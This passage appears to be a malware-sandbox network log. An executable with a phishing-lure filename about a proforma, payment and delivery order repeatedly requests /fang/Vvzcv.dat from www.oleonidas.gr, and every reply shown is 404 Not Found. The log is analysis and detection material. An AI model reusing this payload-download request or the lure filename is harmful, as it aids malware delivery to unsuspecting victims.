2024-11-24 15:41:45 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49988	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:46 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:47 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:47 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:47 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49994	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:48 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49998	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:50 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:51 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:51 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:51 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50003	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:52 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:53 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:53 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:53 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50009	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:55 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:56 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:55 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:56 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50016	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:57 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:58 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:58 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:58 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50022	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:59 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:00 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:00 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:00 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50027	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:01 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:02 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:02 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:02 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50031	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:04 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:04 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:04 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:04 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50037	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:06 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:06 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:06 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:06 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50042	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:08 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:09 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:09 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:09 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50043	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:10 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:11 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:11 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:11 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50044	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:13 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:13 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:13 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:13 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50045	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:15 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:15 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:15 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
